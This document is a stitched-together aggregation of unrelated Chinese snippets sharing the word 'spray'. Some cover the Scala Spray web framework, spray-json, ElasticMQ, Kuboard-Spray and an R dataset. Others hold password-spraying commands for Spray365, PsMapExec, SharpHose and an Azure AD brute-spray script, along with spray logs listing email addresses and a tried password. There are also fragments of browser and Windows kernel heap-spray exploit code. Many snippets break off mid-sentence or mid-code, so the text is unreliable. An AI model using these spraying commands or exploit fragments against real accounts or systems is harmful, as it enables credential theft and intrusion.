Spray Authentication 在Spray中,如果需要对REST API添加认证,可以使用Spray提供的Authenticate功能。 authenticate[T](auth: ContextAuthenticator[T])(implicit executor: ExecutionContext): Directive1[T] Spray [T]) : spray.routing.Directive1[T] = ??? CreateCustomer(customer.email, customer.name) } } } } } Spray Spray也支持配置的形式管理用户信息,具体内容可参见Spray的官方文档Authentication。
最近我们在一个项目上使用spray来发布restful service。 spray是个性能很好而且功能非常完整的service框架,包含很多组件,从底层http服务器到高层的rest路由DSL都有。 一般简单的应用就使用和掌握好最高层的spray-routing就够用。本文主要讲spray-routing,不及其余。 spray整体的设计理念,spray和akka的关系留待以后的博客。 spray发布http service的流程如下: 整个流程由spray框架控制,http连接处理由spray-can或spray-servlet负责,大部分情况下,开发人员只要定义路由——url和业务服务的映射 据spray-routing文档里说是为了”non-blocking"和"actor friendly",但实际上在spray的后续版本,也就是akka-http里把这个返回类型改成了RouteResult 但大部分时候我们可以用spray-routing通过一组Directive——翻译成中文就是指令——提供的路由DSL来定义我们的路由。这也是spray-routing提供的最核心的功能。
Geotrellis系列文章链接地址http://www.cnblogs.com/shoufengwei/p/5619419.html 目录 前言 spray-json简介 spray-json使用 二、spray-json简介 spray-json是一款使用Scala语言编写的开源Json处理框架。 GitHub地址:https://github.com/spray/spray-json。 在Scala程序中使用spray-json,只需要在build.sbt文件中添加libraryDependencies += "io.spray" %% "spray-json" % "1.3.2", 三、spray-json使用 总体上使用spray-json需要先定义一个转换的协议(Protocol),该协议指定了如何在Scala对象与JOSN对象之间进行转换。
这是一次重要的重写,核心部分是使用Akka Actor和REST层则采用Spray。目前为止,只有核心部分和SQS模块被重写;SQL后端和复制(Replication)尚在进行中。 如前所述,ElasticMQ现在使用Akka和Spray实现,并且不包含任何阻塞调用。一切都是异步的。 核心 核心系统是基于Actor的。 除了基于Actor的非阻塞IO实现外,Spray还提供了强大的路由库spray-routing。它包含一些内置的指令,用于在请求方法(get/post等),提取表单参数的查询或请求路径上的匹配。 Spray有一个很好的教程,如果您有兴趣,我鼓励您看看。 如何使用路由中的队列Actor来完成HTTP请求? 关于Spray的好处是,它只是将一个RequestContext实例传递给你的路由,并不期待任何返回。这取决于路由是完全放弃请求还是使用一个值完成。
ElasticMQ 0.7.0: Long Polling, Non-Blocking Implementation Using Akka and Spray 原文作者:Adam Warski 原文地址 这是一次重大的重写(即版本升级),升级之后将在核心使用Akka actors 并在REST层使用Spray。 如前所述,ElasticMQ现在使用Akka和Spray来实现,并且不包含任何阻塞调用。一切都是异步的。 核心 核心系统是基于角色的。 除了基于角色的非阻塞IO实现外,Spray还提供了强大的路由库spray-routing。 Spray有一个很好的教程,如果你有兴趣,我建议你看看这篇教程。 如何使用路由中的队列角色(queue actors)来完成HTTP请求?
关于Spray365 Spray365是一款功能强大的密码喷射工具,该工具主要针对微软服务而设计,可以帮助广大研究人员通过密码喷射技术识别微软账号(Office 365 / Azure AD)中的有效凭证 我们可以直接选择使用Spray365生成的Spray365执行计划,或者利用其他能够生成兼容JSON结构的工具来构建专门的密码喷射工作流。 Python包,并运行Spray365: $ cd Spray365 ~/Spray365$ pip3 install -r requirements.txt ~/Spray365$ python3 spray365.py 工具使用 生成一个执行计划 Spray365必须通过一个“执行计划”来实现密码/凭证喷射,因此我们首先需要创建一个“执行计划”。 以-s(喷射)模式来运行Spray365之后,Spray365将会处理指定的执行计划,并喷射对应的凭证: $ python3 spray365.py -s <path_to_execution_plan
--sleep-min 120 --sleep-max 200 [SPRAY] 24.05.2021 12:33:54 EST Sleeping between 60-100 minutes for => INVALID [SPRAY] us-west-1 24.05.2021 12:33:57 EST Sprayed herminia.oliva@legitcorp.net:Spring2021! => INVALID [SPRAY] us-west-1 24.05.2021 12:33:58 EST Sprayed elijah.blakley@legitcorp.net:Spring2021! [SPRAY] us-west-1 24.05.2021 12:33:59 EST Sprayed chris.kelly@legitcorp.net:Spring2021! => INVALID [SPRAY] 24.05.2021 12:34:01 EST Sleeping 78 before next spray (向右滑动,查看更多) 获取到有效凭证列表之后,我们就可以进行数据过滤了
Kubespray:https://github.com/kubernetes-sigs/kubespray Kuboard-Spray Kuboard-Spray 是一款可以在图形界面引导下完成 Kubernetes /kuboard-spray" 26 minutes ago Up 25 minutes 0.0.0.0:80->80/tcp, :::80->80/tcp kuboard-spray ,重启、升级、重新安装 Kuboard-Spray,或者将数据及 Kuboard-Spray 迁移到另外一台机器上,您都可以找回到原来的信息。 加载离线资源包 在 Kuboard-Spray 界面中,导航到 系统设置 --> 资源包管理 界面,可以看到已经等候您多时的 Kuboard-Spray 离线资源包,如下图所示: 点击 导 入 按钮, : https://github.com/eip-work/kuboard-spray [2]点击此处: https://github.com/eip-work/kuboard-spray
head(InsectSprays) #> count spray #> 1 10 A #> 2 7 A #> 3 20 A #> 4 14 7.3 VC 0.5 #> 4 5.8 VC 0.5 #> 5 6.4 VC 0.5 #> 6 10.0 VC 0.5 快速绘制数据集的箱线图: plot(count ~ spray of variances #> #> data: count by spray #> Bartlett's K-squared = 25.96, df = 5, p-value = 9.085e- vectors, instead of two columns from a data frame # bartlett.test(InsectSprays$count ~ InsectSprays$spray 有一个独立变量: library(car) leveneTest(count ~ spray, data=InsectSprays) #> Levene's Test for Homogeneity
let spray_array = new Array(0xf700).fill(1.1); let spray_array_data_offset = 0x00202141n + 7n; // spray_array spray_array[(map_offset - spray_array_data_offset) / 8n] = u2d(0x1a04040400002141n); spray_array[(map_offset map spray_array[(fake_double_array_offset - spray_array_data_offset) / 8n] = u2d(map_offset | 1n | ( 中 ``spray_object_array[0] = object; ``// fake_double_array 的 elements 指针指向 spray_object_array spray_array[(map_offset - spray_array_data_offset) / 8n] = u2d(0x1a04040400002141n); spray_array[(
run commands RDP Check access SMB Check access, run commands GenRelayList Check SMB signing status Spray Spray passwords and hashes SessionHunter Check access, run commands VNC Check no auth access WinRM Check passwords across all accounts in the domain PsMapExec -Method Spray -SprayPassword [Password] # Spray across all accounts in the domain that have AdminCount=1 PsMapExec -Targets "AdminCount=1" -Method Spray -SprayHash [Hash] # Spray Hashes across all Domain Admin group users PsMapExec -Targets "Domain Admins
许多框架在分布式处理方面也选择了使用AKKA,例如Spark、Spray。 HTTP 严格意义上讲,Spray并非单纯的HTTP框架,它还支持REST、JSON、Caching、Routing、IO等功能。Spray的模块及其之间的关系如下图所示: ? 我在项目中主要将Spray作为REST框架来使用,并结合AKKA来处理领域逻辑。Spray处理HTTP请求的架构如下图所示: ? Spray支持REST,且Spray自身提供了服务容器spray-can,因而允许Standalone的部署(当然也支持部署到Jetty和tomcat等应用服务器)。 这些特性都使得Spray能够很好地支持当下较为流行的Micro Service架构风格。
2.2 akka与spray 这是我碰到的第一个问题,当运行service主程序的时候立马会报如下错误: java.lang.AbstractMethodError: com.sjzx.spray.can.HttpManager.akka $init$(Actor.scala:335) at com.sjzx.spray.can.HttpManager. <init>(HttpManager.scala:29) at com.sjzx.spray.can.HttpExt$$anonfun$1.apply(Http.scala:153) at 降低版本后的sbt依赖如下: "io.spray" % "spray-routing" % "1.2.3", "io.spray" % "spray-can" % "1.2.3 ", 造成这个问题的原因应该是spray与cloudera运行时classpath中的某个库冲突了,通过以上方式应该能解决这个问题,解决了这个问题后就可以正常发起WEB服务运行我们的APP
c、安装kuboardspary服务docker run -d \> --privileged \> --restart=unless-stopped \> --name=kuboard-spray \> -p 80:80/tcp \> -v /var/run/docker.sock:/var/run/docker.sock \> -v ~/kuboard-spray-data:/data \> eipwork/kuboard-spray:latest-amd64图片d、验证web界面登录账号:admin 密码:Kuboard123图片e、资源包导入图片离线加载资源包离线加载资源包图片
对此项目感兴趣的同学,不妨亲手实践一下,也欢迎到github上点击star 以下记录了安装单节点(单master的集群),示例使用版本为: Kuboard Spray版本为v1.0.0-alpha.1, ignored=0 根据报错信息bastion host IP and port可以猜到是跳板机host和port导致的,但我并没有enable跳板机选项: 根据报错指向的文件,到kuboard-spray 容器中排查main.yml,如下: # docker exec -ti kuboard-spray bash root@41b1a241a852:/kuboard-spray# cat /data/resource /spray-master-8d9ed01_k8s-v1.23.1_v1.0-amd64/content/3rd/kubespray/roles/bastion-ssh-config/tasks/main.yml 集群配置清单其实在kuboard-spray容器中/data/cluster/yourclustername/inventory.yaml文件中,其中包含了bastion信息: root@41b1a241a852
\aad-sso-enum-brute-spray.ps1 USERNAME PASSWORD 以这种方式调用代码将允许您获取指定用户名和密码的结果。 \aad-sso-enum-brute-spray.ps1 $line Passw0rd! |Out-File -FilePath . \spray-results.txt -Append } 请注意,如果您想在 Linux 中使用此方法,则需要您将生成的文件从 UTF-16 转换为 UTF-8: iconv -f UTF16 -t UTF -8 spray-results.txt >new-spray-results.txt 用户枚举 如果您只对枚举感兴趣,只需按上述方式运行即可进行密码喷射。 \aad-sso-enum-brute-spray.ps1 test.user@contoso.com $line |Out-File -FilePath .
密码喷射-w/o交互(已加入域): SharpHose.exe --action SPRAY_USERS --spraypassword Spring2020! --output c:\temp\ --auto 密码喷射-w/ 传入排除列表(已加入域): SharpHose.exe --action SPRAY_USERS --spraypassword Spring2020 --output c:\temp\ --exclude c:\temp\exclusion_list.txt 密码喷射(未加入域): SharpHose.exe --action SPRAY_USERS GET_ENABLED_USERS --output c:\temp\ 使用Cobalt Strike进行密码喷射(已加入域): execute-assembly /path/to/SharpHose.exe --action SPRAY_USERS
Heap Spray攻击 Heap Spray 堆与栈协同攻击 这种攻击经常出现在浏览器ActiveX控件中存在的溢出,攻击者可以生成一个特殊的HTML文件来触发这个漏洞 不管是堆溢出还是栈溢出,漏洞触发后最终能获得 我们可能很难在浏览器中复杂的内存环境中部署完整的shellcode 页面中的JavaScript可以申请内存,因此,把shellcode通过JavaScript布置在堆中成为可能 原理呢 使用Heap Spray
[10000] = { 0 }; HANDLE spray_event2[5000] = { 0 }; for (size_t i = 0; i < 9999; i++) { spray_event1[i] = CreateEventA(NULL, FALSE, FALSE, NULL); } for (size_t i = 0; i < 4999; i++) { spray_event2[i] = CreateEventA(NULL, FALSE, FALSE, NULL); } for (size_t i = 0; i < 8; i [10000] = { 0 }; HANDLE spray_event2[5000] = { 0 }; for (size_t i = 0; i < 10000; i++) { { spray_event2[i] = CreateEventA(NULL, FALSE, FALSE, NULL); } // 制造空缺 for (size_t i =
二、升级过程 从1.0版升级到1.1.1版变化不是非常大,主要是以下几个方面的变化: 2.1 废弃spray,改用akka发布http服务 之前geotrellis的习惯方式是使用 spray来发布http服务,这样会造成总总的版本冲突,前面我还专门有写文章来探讨版本冲突及解决方案。 1.1.1版直接使用akka发布http服务,而无需spray便少了很多冲突的可能性。 akkaHttpVersion, "com.typesafe.akka" %% "akka-http" % akkaHttpVersion, "com.typesafe.akka" %% "akka-http-spray-json `image/png`), result)) } } } } 可以看出基本与spray版本相同,只是此处引用的包均为akka的。